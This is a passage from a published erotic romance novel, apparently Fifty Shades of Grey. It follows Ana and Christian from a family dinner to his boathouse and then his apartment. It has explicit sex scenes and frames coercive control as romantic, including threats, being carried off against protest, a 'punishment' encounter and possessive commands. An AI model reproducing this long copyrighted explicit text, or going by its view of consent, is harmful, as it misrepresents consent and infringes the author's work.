traveling up my +thigh. My whole body tightens in response. No... not here, not now. I flush and shift, try- +ing to pull away from him. His hand clamps down on my thigh, stilling me. I reach for +my wine, in desperation. + +Little Miss European Pigtails returns, all coy glances and swaying hips, with our en- +tree, a Beef Wellington, I think. Fortunately, she gives us our plates and then leaves, al- +though she lingers handing Christian his. He looks quizzically at me as I watch her close +the dining room door. + +“So what was wrong with the Parisians?” Elliot asks his sister. “Didn’t they take to +your winsome ways?” + +“Ugh, no they didn’t. And Monsieur Floubert, the ogre I was working for, he was such +a domineering tyrant.” + +I splutter into my wine. + +“Anastasia, are you okay?” Christian asks solicitously, taking his hand off my thigh. + +Humor has returned to his voice. Oh thank heavens. When I nod, he pats my back +gently, and only removes his hand when he knows I’ve recovered. + +The beef is delicious and served with roasted sweet potatoes, carrots, parsnips, and +green beans. It is even more palatable since Christian manages to retain his good-humor +for the rest of the meal. I suspect that it’s because I’m eating so heartily. The conversation +flows freely among the Greys, warm and caring, gently teasing each other. Over our des- +sert of lemon syllabub, Mia regales us with her exploits in Paris, lapsing at one point into +fluent French. We all stare at her, and she stares back puzzled, until Christian tells her in + + +equally fluent French what she’s done, whereupon she bursts into a fit of giggles. She has +a very infectious laugh and soon we’re all in stitches. + +Elliot holds forth about his latest building project, a new eco-friendly community to the +north of Seattle. I glance up at Kate, and she’s hanging on every word Elliot says, her eyes +glowing with lust or love. I haven’t quite worked out which yet. He grins down at her, and +it’s as if an unspoken promise passes between them. Laters, baby, he’s saying, and it’s hot, +freaking hot. I flush just watching them. + +I sigh and peek up at Fifty Shades. He’s so beautiful, I could stare at him forever. He +has light stubble over his chin, and my fingers itch to scratch it and feel it against my face, +against my breasts... between my thighs. I blush at the direction of my thoughts. He peers +down at me and raises his hand to pull at my chin. + +“Don’t bite your lip,” he murmurs huskily. “I want to do that.” + +Grace and Mia clear our dessert glasses and head to the kitchen, while Mr. Grey, Kate, +and Elliot discuss the merits of solar panels in Washington State. Christian, feigning inter- +est in their conversation, puts his hand once more on my knee, and his fingers travel up my +thigh. My breathing hitches, and I press my thighs together in a bid to halt his progress. I +can see him smirk. + +“Shall I give you a tour of the grounds?” he asks me quite openly. + +I know I’m meant to say yes, but I don’t trust him. Before I can answer however, he’s +on his feet and holding his hand out to me. I place my hand in his, and I feel all the muscles +clench deep in my belly, responding to his dark, hungry gray gaze. + +“Excuse me,” I say to Mr. Grey and follow Christian out of the dining room. + +He leads me through the hallway and into the kitchen where Mia and Grace are stack- +ing the dishwasher. European Pigtails is nowhere to be seen. + +“I’m going to show Anastasia the backyard,” Christian says innocently to his mother. +She waves us out with a smile as Mia heads back to the dining room. + +We step out onto a grey flagstone patio area lit by recessed lights in the flagstones. +There are shrubs in grey stone tubs and a chic metal table and chairs set up in one corner. +Christian walks past those, up some steps, and onto a vast lawn that leads down to the +bay... oh my - it’s beautiful. Seattle twinkles on the horizon, and the cool, bright, May +moon etches a sparkling silver path across the water toward a jetty where two boats are +moored. Beside the jetty stands a boathouse. It is so picturesque, so peaceful. I stand and +gape for a moment. + +Christian pulls me behind him, and my heels sink into the soft grass. + +“Stop, please.” I am stumbling in his wake. + +He stops and gazes at me, his expression unfathomable. + +“My heels. I need to take my shoes off.” + +“Don’t bother,” he says, and he bends down and scoops me over his shoulder. I squeal +loudly with shocked surprise, and he gives me a ringing slap on my behind. + +“Keep your voice down,” he growls. + +Oh no... this is not good, my subconscious is quaking at the knees. He’s mad about +something - could be Jose, Georgia, no panties, biting my lip. Jeez, he’s easy to rile. + +“Where are we going?” I breathe. + +“Boathouse,” he snaps. + + +I hang on to his hips as I’m tipped upside-down, and he strides purposefully in the +moonlight across the lawn. + +“Why?” I sound breathless, bouncing on this shoulder. + +“I need to be alone with you.” + +“What for?” + +“Because I’m going to spank and then fuck you.” + +“Why?” I whimper softly. + +“You know why,” he hisses. + +“I thought you were an in-the-moment guy?” I plead breathlessly. + +“Anastasia, I’m in the moment, trust me.” + +Holy fuck. + + +Chapter Twenty + + +Christian bursts through the wooden door of the boathouse and pauses to flick on some +lights. Fluorescents ping and buzz in sequence as harsh white light floods the large wooden +building. From my upside-down view, I can see an impressive motor launch in the dock +floating gently on the dark water, but I only get a brief look before he’s carrying me up +some wooden stairs to the room above. + +Fie pauses at the doorway and touches another switch - halogens this time, they are +softer, on a dimmer - and we’re in an attic room with sloping ceilings. It’s decorated with +a nautical New England theme: navy blues and creams with a dash of red. The furnishings +are sparse, just a couple of couches are all I can see. + +Christian sets me on my feet on the wooden floor. I don’t have time to examine my +surroundings - my eyes can’t leave him. I am mesmerized... watching him like one would +watch a rare and dangerous predator, waiting for him to strike. His breathing is harsh but +then he’s just carried me across the lawn and up a flight of stairs. Gray eyes blaze with +anger, need, and pure unadulterated lust. + +Holy shit. I could spontaneously combust from his look alone. + +“Please don’t hit me,” I whisper, pleading. + +His brow furrows, his eyes widening. He blinks twice. + +“I don’t want you to spank me, not here, not now. Please don’t.” + + +His mouth drops open slightly in surprise, and beyond brave, I tentatively reach up and +run my fingers down his cheek, along the edge of his sideburn, to the stubble on his chin. + +It’s a curious mixture of soft and prickly. Slowly closing his eyes, he leans his face into +my touch, and his breath hitches in his throat. Reaching up with my other hand, I run my +fingers into his hair. I love his hair. His soft moan is barely audible, and when he opens his +eyes, his look is - wary, like he doesn’t understand what I’m doing. + +Stepping forward so I am flush against him, I pull gently on his hair, bringing his +mouth down to mine, and I kiss him, forcing my tongue between his lips and into his +mouth. He groans, and his arms embrace me, pulling me to him. His hands find their way +into my hair, and he kisses me back, hard and possessive. His tongue and my tongue twist +and turn together, consuming each other. He tastes divine. + +He pulls back suddenly, our collective breathing ragged and mingling. My hands drop +to his arms and he glares down at me. + +“What are you doing to me?” he whispers confused. + +“Kissing you.” + +“You said no.” + +“What?” No to what? + +“At the dinner table, with your legs.” + +Oh... that’s what this is all about. + +“But we were at your parents’ dining table.” I stare up at him, completely bewildered. + +“No one’s ever said no to me before. And it’s so - hot.” + +His eyes widen slightly, filled with wonder and lust. It’s a heady mix. I swallow in- +stinctively. His hand moves down to my behind. He pulls me sharply against him, and I +can feel his erection. + +Oh my... + +“You’re mad and turned on because I said no?” I breathe, astonished. + +“I’m mad because you never mentioned Georgia to me. I’m mad because you went +drinking with that guy who tried to seduce you when you were drunk and who left you +when you were ill with an almost complete stranger. What kind of friend does that? And +I’m mad and aroused because you closed your legs on me.” His eyes glitter dangerously, +and he’s slowly inching up the hem of my dress. + +“I want you, and I want you now. And if you’re not going to let me spank you - which +you deserve - I’m going to fuck you on the couch this minute, quickly, for my pleasure, +not yours.” + +My dress is now barely covering my naked behind. He moves suddenly so that his +hand is cupping my sex, and one of his fingers sinks slowly into me. His other arm holds +me firmly in place around my waist. I suppress my moan. + +“This is mine,” he whispers aggressively. “All mine. Do you understand?” He eases +his finger in and out as he gazes down at me, gauging my reaction, his eyes burning. + +“Yes, yours,” I breathe as my desire, hot and heavy, surges through my bloodstream, +affecting... everything. My nerve endings, my breathing, my heart is pounding, trying to +leave my chest, the blood thrumming in my ears. + +Abruptly, he moves, doing several things at once. Withdrawing his fingers, leaving me +wanting, unzipping his fly, and pushing me down onto the couch so he’s lying on top of me. + + +“Hands on your head,” he commands through gritted teeth as he kneels up, forcing my +legs wider, and reaching into the inside pocket of his jacket. He takes out a foil packet, +gazing down at me, his expression dark, before shrugging off his jacket so it falls to the +floor. He rolls the condom down over his impressive length. + +I place my hands on my head, and I know it’s so I won’t touch him. I’m so turned on. + +I feel my hips moving already up to meet him - wanting him inside me, like this - rough +and hard. Oh... the anticipation. + +“We don’t have long. This will be quick, and it’s for me, not you. Do you understand? +Don’t come, or I will spank you,” he says through clenched teeth. + +Holy crap... how do I stop? + +With one swift thrust, he’s fully inside me. I groan loudly, gutturally, and revel in the +fullness of his possession. He puts his hands on mine on top of my head, his elbows hold +my arms out and down, and his legs pinion me. I am trapped. He’s everywhere, over- +whelming me, almost suffocating. But it’s heavenly too, this is my power, this is what I do +to him, and it’s a hedonistic, triumphant feeling. He moves quickly and furiously inside +me, his breathing harsh at my ear, and my body responds, melting around him. I mustn’t +come. No. But I’m meeting him thrust for thrust, a perfect counterpoint. Abruptly, and +all too soon, he rams into me and stills as he finds his release, air hissing through his teeth. +He relaxes momentarily, so I feel his entire, delicious weight on me. I’m not ready to let +him go, my body craving relief, but he’s so heavy, and in that moment, I can’t push against +him. All of a sudden, he withdraws, leaving me aching and hungry for more. He glares +down at me. + +“Don’t touch yourself. I want you frustrated. That’s what you do to me by not talking +to me, by denying me what’s mine.” His eyes blaze anew, angry again. + +I nod, panting. He stands and removes the condom, knotting it at the end, and puts it +in his pants pocket. I gaze at him, my breathing still erratic, and involuntarily I squeeze +my thighs together, trying to find some relief. Christian does up his fly and runs his hand +through his hair as he reaches down to collect his jacket. He turns back to gaze down at +me, his expression softer. + +“We’d better get back to the house.” + +I sit up, a little unsteadily, dazed. + +“Here. You may put these on.” + +From his inside pocket, he produces my panties. I don’t grin as I take them from him, +but inside I know - I’ve taken a punishment fuck but gained a small victory over the pant- +ies. My inner goddess nods in agreement, a satisfied grin over her face - You didn’t have +to ask for them. + +“CHRISTIAN!” Mia shouts from the floor below. + +He turns and raises his eyebrows at me. + +“Just in time. Christ, she can be really irritating.” + +I scowl back at him, hastily restore my panties to their rightful place, and stand with +as much dignity as I can muster in my just-fucked state. Quickly, I attempt to smooth my +just-fucked hair. + +“Up here, Mia,” he calls down. “Well, Miss Steele, I feel better for that - but I still +want to spank you,” he says softly. + + +“I don’t believe I deserve it Mr. Grey, especially after tolerating your unprovoked at- +tack.” + +“Unprovoked? You kissed me.” He tries his best to look wounded. + +I purse my lips. + +“It was attack as the best form of defense.” + +“Defense against what?” + +“You and your twitchy palm.” + +He cocks his head to one side and smiles at me as Mia comes clattering up the stairs. + +“But it was tolerable?” he asks softly. + +I flush. + +“Barely,” I whisper, but I can’t help my smirk. + +“Oh, there you are.” She beams at us. + +“I was showing Anastasia around.” Christian holds his hand out to me, his gray eyes +intense. + +I put my hand into his, and he gives it a soft squeeze. + +“Kate and Elliot are about to leave. Can you believe those two? They can’t keep their +hands off each other.” Mia feigns disgust and looks from Christian to me. “What have you +been doing in here?” + +Jeez, she’s forward. I blush scarlet. + +“Showing Anastasia my rowing trophies,” Christian says without missing a beat, com- +pletely poker-faced. “Let’s go say goodbye to Kate and Elliot.” + +Rowing trophies? He pulls me gently in front of him, and as Mia turns to go, he swats +my behind. I gasp in surprise. + +“I will do it again, Anastasia, and soon,” he threatens quietly close to my ear, then he +pulls me into an embrace, my back to his front, and kisses my hair. + + +Back in the house, Kate and Elliot are making their farewells to Grace and Mr. Grey. Kate +hugs me hard. + +“I need to speak to you about antagonizing Christian,” I hiss quietly in her ear as she +embraces me. + +“He needs antagonizing, then you can see what he’s really like. Be careful, Ana - he’s +so controlling,” she whispers. “See you later.” + +I KNOW WHAT HE’S REALLY LIKE - YOU DON’T! - I scream at her in my head. + +I’m fully aware that her actions come from a good place, but sometimes she just oversteps +the mark, and right now so far that she’s into the neighboring state. I scowl at her, and she +pokes her tongue out at me, making me smile unwillingly. Playful Kate is novel, must be +Elliot’s influence. We wave them off at the doorway, and Christian turns to me. + +“We should go too - you have interviews tomorrow.” + +Mia embraces me warmly as we say our goodbyes. + +“We never thought he’d find anyone!” she gushes. + +I flush, and Christian rolls his eyes again. I purse my lips. Why can he do that when +I can’t? I want to roll my eyes back at him, but I do not dare, not after his threat in the +boathouse. + + +“Take care of yourself, Ana, dear,” Grace says kindly. + +Christian, embarrassed or frustrated by the lavish attention I’m receiving from the re- +maining Greys, grabs my hand and pulls me to his side. + +“Let’s not frighten her away or spoil her with too much affection,” he grumbles. + +“Christian, stop teasing.” Grace scolds him indulgently, her eyes glowing with love +and affection for him. + +Somehow, I don’t think he’s teasing. I surreptitiously watch their interaction. It’s +obvious Grace adores him with a mother’s unconditional love. He bends and kisses her +stiffly. + +“Mom,” he says, and there’s an undercurrent in his voice - reverence maybe? + +“Mr. Grey - goodbye and thank you.” I hold out my hand to him, and he hugs me too! + +“Please, call me Carrick. I do hope we see you again, very soon, Ana.” + +Our farewells said, Christian leads me to the car where Taylor is waiting. Has he been +waiting here the whole time? Taylor opens my door, and I slide into the back of the Audi. + +I feel some of the tension leaving my shoulders. Jeez, what a day. I am exhausted, +physically and emotionally. After a brief conversation with Taylor, Christian clambers into +the car beside me. He turns to face me. + +“Well, it seems my family likes you, too,” he murmurs. + +Too? The depressing thought about how I came to be invited pops unbidden and very +unwelcome into my head. Taylor starts the car and heads away from the circle of light in +the driveway to the darkness of the road. I gaze at Christian, and he’s staring at me. + +“What?” he asks, his voice quiet. + +I flounder momentarily. No - I’ll tell him. He’s always complaining that I don’t talk +to him. + +“I think that you felt trapped into bringing me to meet your parents.” My voice is soft +and hesitant. “If Elliot hadn’t asked Kate, you’d never have asked me.” I can’t see his face +in the dark, but he tilts his head, gaping at me. + +“Anastasia, I’m delighted that you’ve met my parents. Why are you so filled with self- +doubt? It never ceases to amaze me. You’re such a strong, self-contained young woman, +but you have such negative thoughts about yourself. If I hadn’t wanted you to meet them, +you wouldn’t be here. Is that how you were feeling the whole time you were there?” + +Oh! He wanted me there - and it’s a revelation. He doesn’t seem uncomfortable an- +swering me as he would if he were hiding the truth. He seems genuinely pleased that I’m +here... a warm glow spreads slowly through my veins. He shakes his head and reaches for +my hand. I glance nervously at Taylor. + +“Don’t worry about Taylor. Talk to me.” + +I shrug. + +“Yes. I thought that. And another thing, I only mentioned Georgia because Kate was +talking about Barbados - I haven’t made up my mind.” + +“Do you want to go and see your mother?” + +“Yes.” + +He looks oddly at me, like he’s having some internal struggle. + +“Can I come with you?” he asks eventually. + +What!? + + +“Erm. . . I don’t think that’s a good idea.” + +“Why not?” + +“I was hoping for a break from all this. . . intensity to try and think things through.” + +He stares at me. + +“I’m too intense?” + +I burst out laughing. + +“That’s putting it mildly!” + +In the light of the passing street lamps, I see his lips quirk up. + +“Are you laughing at me, Miss Steele?” + +“I wouldn’t dare, Mr. Grey,” I reply with mock seriousness. + +“I think you dare, and I think you do laugh at me, frequently.” + +“You are quite funny.” + +“Funny?” + +“Oh yes.” + +“Funny peculiar or funny ha ha?” + +“Oh... a lot of one and some of the other.” + +“Which way round?” + +“I’ll leave you to figure that out.” + +“I’m not sure if I can figure anything out around you, Anastasia,” he says sardonically, +and then continues quietly, “What do you need to think about in Georgia?” + +“Us,” I whisper. + +He stares at me, impassive. + +“You said you’d try,” he murmurs. + +“I know.” + +“Are you having second thoughts?” + +“Possibly.” + +He shifts as if uncomfortable. + +“Why?” + +Holy crap. How did this suddenly become such an intense and meaningful conversa- +tion? It’s been sprung on me, like an exam that I’m not prepared for. What do I say? Be- +cause I think I love you, and you just see me as a toy. Because I can’t touch you, because +I’m too frightened to show you any affection in case you flinch or tell me off or worse - +beat me? What can I say? + +I stare momentarily out of the window. The car is heading back across the bridge. We +are both shrouded in darkness, masking our thoughts and feelings, but we don’t need the +night for that. + +“Why, Anastasia?” Christian presses me for an answer. + +I shrug, trapped. I don’t want to lose him. In spite of all his demands, his need to +control, his scary vices. I have never felt as alive as I do now. It’s a thrill to be sitting here +beside him. He’s so unpredictable, sexy, smart, and funny. But his moods. . . oh - and he +wants to hurt me. He says he’ll think about my reservations, but it still scares me. I close +my eyes. What can I say? Deep down I would just like more, more affection, more playful +Christian, more... love. + +He squeezes my hand. + + +“Talk to me, Anastasia. I don’t want to lose you. This last week... ” He trails off. + +We’re coming near to the end of the bridge, and the road is once more bathed in the +neon light of the street lamps so his face is intermittently in the light and the dark. And it’s +such a fitting metaphor. This man, whom I once thought of as a romantic hero - a brave +shining white knight, or the dark knight as he said. He’s not a hero, he’s a man with seri- +ous, deep emotional flaws, and he’s dragging me into the dark. Can I not guide him into +the light? + +“I still want more,” I whisper. + +“I know,” he says. “I’ll try.” + +I blink up at him, and he relinquishes my hand and pulls at my chin, releasing my +trapped lip. + +“For you, Anastasia, I will try.” He’s radiating sincerity. + +And that’s my cue. I unbuckle my seatbelt, reach across, and clamber into his lap, tak- +ing him completely by surprise. Wrapping my arms around his head, I kiss him, long and +hard, and in a nanosecond, he’s responding. + +“Stay with me, tonight,” he breathes. “If you go away, I won’t see you all week. + +Please.” + +“Yes,” I acquiesce. “And I’ll try too. I’ll sign your contract.” And it’s a spur of the +moment decision. + +He gazes down at me. + +“Sign after Georgia. Think about it. Think about it hard, baby.” + +“I will.” And we sit in silence for a mile or two. + +“You really should wear your seatbelt,” Christian whispers disapprovingly into my +hair, but he makes no move to shift me from his lap. + +I nuzzle up against him, eyes closed, my nose at his throat, drinking in his sexy Chris- +tian-and-spiced-musky-body-wash fragrance, my head on his shoulder. I let my mind drift, +and I allow myself to fantasize that he loves me. Oh, and it’s so real, tangible almost, and +a small part of my nasty harpy self-conscious acts completely out of character and dares to +hope. I’m careful not to touch his chest but just snuggle in his arms as he holds me tightly. + +All too soon, I’m torn from my impossible daydream. + +“We’re home,” Christian murmurs, and it’s such a tantalizing sentence, full of so much +potential. + +Home, with Christian. Except his apartment is an art gallery, not a home. + +Taylor opens the door for us, and I thank him shyly, aware that he’s been within earshot +of our conversation, but his kind smile is reassuring and gives nothing away. Once out of +the car, Christian assesses me critically. Oh no... what have I done now? + +“Why don’t you have a jacket?” he frowns as he shrugs out of his and drapes it over +my shoulders. + +Relief washes through me. + +“It’s in my new car,” I reply sleepily, yawning. + +He smirks at me. + +“Tired, Miss Steele?” + +“Yes, Mr. Grey.” I feel bashful under his teasing scrutiny. Nevertheless I feel an ex- +planation is in order, “I’ve been prevailed upon in ways I never thought possible today.” + + +“Well, if you’re really unlucky, I may prevail upon you some more,” he promises as he +takes my hand and leads me into the building. Holy Shit... Again?! + +I gaze up at him in the elevator. I have assumed he’d like me to sleep with him, and +then I remember that he doesn’t sleep with anyone, although he has with me a few times. + +I frown, and abruptly his gaze darkens. He reaches up and grasps my chin, freeing my lip +from teeth. + +“One day I will fuck you in this elevator, Anastasia, but right now you’re tired - so I +think we should stick to a bed.” + +Bending down, he clamps his teeth around my lower lip and pulls gently. I melt against +him, and my breathing stops as my insides unfurl with longing. I reciprocate, fastening my +teeth over his top lip, teasing him, and he groans. When the elevator doors open, he grabs +my hand and tugs me into the foyer, through the double doors, and into the hallway. + +“Do you need a drink or anything?” + +“No.” + +“Good. Let’s go to bed.” + +I raise my eyebrows at him. + +“You’re going to settle for plain old vanilla?” + +He cocks his head to one side. + +“Nothing plain or old about vanilla - it’s a very intriguing flavor,” he breathes. + +“Since when?” + +“Since last Saturday. Why? Were you hoping for something more exotic?” + +My inner goddess pops her head above the parapet. + +“Oh no. I’ve had enough exotic for one day.” My inner goddess pouts at me, failing +miserably to hide her disappointment. + +“Sure? We cater for all tastes here - at least thirty-one flavors.” He grins at me lascivi- +ously. + +“I’ve noticed,” I reply dryly. + +He shakes his head. + +“Come on, Miss Steele, you have a big day tomorrow. Sooner you’re in bed, sooner +you’ll be fucked, and sooner you can sleep.” + +“Mr. Grey, you are a born romantic.” + +“Miss Steele, you have a smart mouth. I may have to subdue it some way. Come.” He +leads me down the hallway into his bedroom and kicks the door closed. + +“Hands in the air,” he commands. + +I oblige, and in one breathtakingly swift move, he removes my dress like a magician, +grasping it at the hem and pulling it smoothly and fleetly over my head. + +“Ta Da!” he says playfully. + +I giggle and applaud politely. He bows gracefully grinning. How can I resist him when +he’s like this? He places my dress on the lone chair beside his chest of drawers. + +“And for your next trick?” I prompt, teasing. + +“Oh my dear, Miss Steele. Get into my bed,” he growls. “And I’ll show you.” + +“Do you think that for once I should play hard to get?” I ask coquettishly. + +His eyes widen with surprise, and I see a glimmer of excitement. + + +“Well... the door’s closed. Not sure how you’re going to avoid me,” he says sardoni- +cally. “I think it’s a done deal.” + +“But I’m a good negotiator.” + +“So am I.” He stares down at me, but as he does, his expression changes, confusion +washes over him, and the atmosphere in the room shifts abruptly, tensing. “Don’t you want +to fuck?” he asks. + +“No,” I breathe. + +“Oh.” He frowns. + +Okay, here goes... deep breath. + +“I want you to make love to me.” + +He stills and stares at me blankly. His expression darkens. Oh shit, this doesn’t look +good. Give him a minute! My subconscious snaps. + +“Ana, I... ” He runs his hands through his hair. Two hands. Jeez, he’s really bewil- +dered. + +“I thought we did?” he says eventually. + +“I want to touch you.” + +He takes an involuntary step back from me, his expression for a moment fearful, and +then he reins it in. + +“Please,” I whisper. + +He recovers himself. + +“Oh, no Miss Steele, you’ve had enough concessions from me this evening. And I’m +saying no.” + +“No?” + +“No.” + +Oh. . . I can’t argue with that. . . can I? + +“Look, you’re tired, I’m tired. Let’s just go to bed,” he says, watching me carefully. + +“So touching is a hard limit for you?” + +“Yes. This is old news.” + +“Please tell me why.” + +“Oh, Anastasia, please. Just drop it for now,” he mutters exasperated. + +“It’s important to me.” + +Again he runs both hands through his hair, and he utters an oath beneath his breath. +Turning on his heel, he heads for the chest of drawers, pulls out a t-shirt, and throws it at +me. I catch it, bemused. + +“Put that on and get into bed,” he snaps, irritated. + +I frown but decide to humor him. Turning my back, I quickly remove my bra, pulling +the t-shirt on as hastily as I can to cover my nakedness. I leave my panties on, I haven’t +worn them for most of the evening. + +“I need the bathroom.” My voice is a whisper. + +He frowns, bemused. + +“Now you’re askinq permission?” + +“Err... no.” + + +“Anastasia, you know where the bathroom is. Today, at this point in our strange ar- +rangement, you don’t need my permission to use it.” He cannot hide his irritation. He +shrugs out of his shirt, and I scoot into the bathroom. + +I stare at myself in the over-large mirror, shocked that I still look the same. After all +that I’ve done today, it’s still the same ordinary girl gaping back at me. What did you ex- +pect - that you’d grow horns and a little pointy tail? My subconscious snaps at me. And +what the hell are you doing? Touching is his hard limit. Too soon, you idiot, he needs to +walk before he can run. My subconscious is furious, medusa-like in her anger, hair flying, +her hands clenched around her face like Edvard Munch’s Scream. I ignore her, but she +won’t climb back into her box. You are making him mad - think about all that’s he’s said, +all he’s conceded. I scowl at my reflection. I need to be able to show him affection - then +perhaps he can reciprocate. + +I shake my head resigned and grasp Christian’s toothbrush. My subconscious is right +of course. I’m rushing him. He’s not ready and neither am I. We are balanced on the +delicate see-saw, that is our strange arrangement - at different ends, vacillating, and it tips +and sways between us. We both need to edge closer to the middle. I just hope neither of us +falls off in our attempt to do so. This is all so quick. Maybe I need some distance. Georgia +seems more appealing than ever. As I begin brushing my teeth, he knocks. + +“Come in,” I splutter through a mouthful of toothpaste. + +Christian stands in the doorway, his PJs hanging off his hips - in that way that makes +every little cell in my body stand up and take notice. He’s bare-chested, and I drink him +in like I’m crazed with thirst and he’s clear cool mountain spring water. He gazes at me +impassively, then smirks and comes to stand beside me. Our eyes lock in the mirror, gray +to blue. I finish with his toothbrush, rinse it off, and hand it to him, my look never leaving +his. Wordlessly, he takes the toothbrush from me and puts it in his mouth. I smirk back at +him, and his eyes are suddenly dancing with humor. + +“Do feel free to borrow my toothbrush.” His tone is gently mocking. + +“Thank you, Sir,” I smile sweetly, and I leave, heading back to bed. + +A few minutes later he joins me. + +“You know this is not how I saw tonight panning out,” he mutters petulantly. + +“Imagine if I said to you that you couldn’t touch me.” + +He clambers onto the bed and sits cross-legged. + +“Anastasia, I’ve told you. Fifty shades. I had a rough start in life - you don’t want that +shit in your head. Why would you?” + +“Because I want to know you better.” + +“You know me well enough.” + +“How can you say that?” I struggle up onto my knees, facing him. + +He rolls his eyes at me, frustrated. + +“You’re rolling your eyes. Last time I did that, I ended up over your knee.” + +“Oh, I’d like to put you there again.” + +Inspiration hits me. + +“Tell me and you can.” + +“What?” + +“You heard me.” + + +“You’re bargaining with me?” His voice resonates with astonished disbelief. + +I nod. Yes... this is the way. + +“Negotiating.” + +“It doesn’t work that way, Anastasia.” + +“Okay. Tell me, and I’ll roll my eyes at you.” + +He laughs, and I get a rare glimpse of carefree Christian. I’ve not seen him for a while. +He sobers. + +“Always so keen and eager for information.” His gray eyes blaze with speculation. + +After a moment, he gracefully climbs off the bed. “Don’t go away,” he says and exits the +room. + +Trepidation lances through me, and I hug myself. What’s he doing? Does he have +some evil plan? Crap. Suppose he returns with a cane, or some weird kinky implement? +Holy shit, what will I do then? When he does return, he’s holding something small in his +hands. I can’t see what it is, and I’m burning with curiosity. + +“When’s your first interview tomorrow?” he asks softly. + +“Two.” + +A slow wicked grin spreads across his face. + +“Good.” And before my eyes, he subtly changes. He’s harder, intractable... hot. This +is Dominant Christian. + +“Get off the bed. Stand over here.” He points to beside the bed, and I scramble up and +off in double-quick time. He stares intently down at me, his eyes glittering with promise. +“Trust me?” he asks softly. + +I nod. He holds out his hand, and in his palm are two round, shiny, silver balls, linked +with a thick black thread. + +“These are new,” he says emphatically. + +I look questioningly up at him. + +“I am going to put these inside you, and then I’m going to spank you, not for punish- +ment, but for your pleasure and mine.” He pauses, gauging my wide-eyed reaction. + +Inside me! I gasp, and all the muscles deep in my belly clench. My inner goddess is +doing the dance of the seven veils. + +“Then we’ll fuck, and if you’re still awake, I’ll impart some information about my +formative years. Agreed?” + +He’s asking my permission! Breathlessly, I nod. I’m incapable of speech. + +“Good girl. Open your mouth.” + +Mouth? + +“Wider.” + +Very gently, he puts the balls in my mouth. + +“They need lubrication. Suck,” he orders, his voice soft. + +The balls are cold, smooth, surprisingly heavy, and metallic tasting. My dry mouth +pools with saliva as my tongue explores the unfamiliar objects. Christian’s gray gaze does +not leave mine. Holy hell, this is turning me on. I squirm slightly. + +“Keep still, Anastasia,” he warns. + +“Stop.” He tugs them from my mouth. Moving toward the bed, he throws the duvet +aside and sits down on the edge. + + +“Come here.” + +I stand in front of him. + +“Now turn round, bend down, and grasp your ankles.” + +I blink at him, and his expression darkens. + +“Don’t hesitate,” he admonishes me softly, an undercurrent in his voice, and he pops +the balls in his mouth. + +Fuck, this is sexier than the toothbrush. I follow his orders immediately. Jeez, can I +touch my ankles? I find I can, with ease. The t-shirt slides up my back, exposing my be- +hind. Thank heavens I have retained my panties, but I suspect I won’t for long. + +He places his hand reverently on my backside and very softly caresses it with his whole +hand. With my eyes open, I can see his legs through mine, nothing else. I close my eyes +tightly as he gently moves my panties to the side and slowly runs his finger up and down +my sex. My body braces itself in a heady mix of wild anticipation and arousal. He slides +one finger inside me, and he circles it deliciously slowly. Oh, it feels good. I moan. + +His breathing halts, and I hear him gasp as he repeats the motion. He withdraws +his finger and very slowly inserts the objects, one slow, delicious ball at a time. Oh my. +They’re body temperature, warmed by our collective mouths. It’s a curious feeling. Once +they’re inside me, I can’t really feel them - but then again I know they’re there. + +He straightens my panties and leans forward, and his lips softly kiss my behind. + +“Stand up,” he orders, and shakily I get to my feet. + +Oh! Now I can feel them... sort of. He grasps my hips to steady me while I re-estab- +lish my equilibrium. + +“You okay?” he asks, his voice stern. + +“Yes.” My answer is feather soft. + +“Turn round.” I turn and face him. + +The balls pull downward and involuntarily I clench around them. The feeling startles +me but not in a bad way. + +“How does that feel?” he asks. + +“Strange.” + +“Strange good or strange bad?” + +“Strange good,” I confess, blushing. + +“Good.” There’s a trace of humor lurking in his eyes. + +“I want a glass of water. Go and fetch one for me please.” + +Oh. + +“And when you come back, I shall put you across my knee. Think about that, Anas- +tasia.” + +Water? He wants water - now - why? + +As I leave the bedroom, it becomes abundantly clear why he wants me to walk around +- as I do, the balls weigh down inside me, massaging me internally. It’s such a weird feel- +ing and not entirely unpleasant. In fact, my breathing accelerates as I stretch up for a glass +from the kitchen cabinet, and I gasp. Oh my... I may have to keep these. They make me +needy, needy for sex. + +He’s watching me carefully when I return. + +“Thank you,” he says as he takes the glass from me. + + +Slowly, he takes a sip then places the glass on his bedside table. There’s a foil packet, +ready and waiting, like me. And I know he’s doing this to build the anticipation. My heart +has picked up a beat. He turns his bright gray gaze to mine. + +“Come. Stand beside me. Like last time.” + +I sidle up to him, my blood thrumming through my body, and this time... I’m excited. +Aroused. + +“Ask me,” he says softly. + +I frown. Ask him what? + +“Ask me,” his voice is slightly harder. + +What? How was your water? What does he want? + +“Ask me, Anastasia. I won’t say it again.” And there’s such a threat implicit in his +words, and it dawns on me. He wants me to ask him to spank me. + +Holy shit. He’s looking at me expectantly, his eyes growing colder. Shit. + +“Spank me, please... Sir,” I whisper. + +He closes his eyes momentarily, savoring my words. Reaching up, he grasps my left +hand and he tugs me over his knees. I fall instantly, and he steadies me as I land in his lap. + +My heart is in my mouth as his hand gently strokes my behind. I’m angled across his lap +again so that my torso rests on the bed beside him. This time he doesn’t throw his leg over +mine, but smoothes my hair out of my face and tucks it behind my ear. Once he’s done, +he clasps my hair at the nape to hold me in place. He tugs gently and my head shifts back. + +“I want to see your face while I spank you, Anastasia,” he murmurs, all the while softly +rubbing my backside. + +His hand moves down between the cheeks of my behind, and he pushes against my sex, +and the full feeling is... I moan. Oh, the sensation is exquisite. + +“This is for pleasure, Anastasia, mine and yours,” he whispers softly. + +He lifts his hand and brings it down in a resounding slap against the junction of my +thighs, my behind, and my sex. The balls are forced forward inside me, and I’m lost in +a quagmire of sensation. The stinging across my behind, the fullness of the balls inside +me, and the fact that he’s holding me down. I screw my face up as my faculties attempt to +absorb all these foreign feelings. I note somewhere in my brain that he’s not smacked me +as hard as last time. He caresses my backside again, trailing his palm across my skin and +over my underwear. + +Why’s he not removed my panties? Then his palm disappears, and he brings it down +again. I groan as the sensation spreads. He starts a pattern: left to right and then down. + +The down ones are the best. Everything moving forward, inside me... and in between each +smack he caresses me, kneads me - so I am massaged inside and out. It’s such a stimulat- +ing, erotic feeling, and for some reason, because this is on my terms, I don’t mind the pain. + +It’s not painful as such - well it is, but not unbearable. It’s somehow manageable, and yes +pleasurable... even. I groan. Yes, I can do this. + +He pauses as he slowly peels my panties down my legs. I writhe on his legs, not be- +cause I want to escape the blows, but I want... more, release, something. His touch against +my sensitized skin is all sensuous tingle. It’s overwhelming, and he starts again. A few soft +slaps then building up, left to right and down. Oh, the 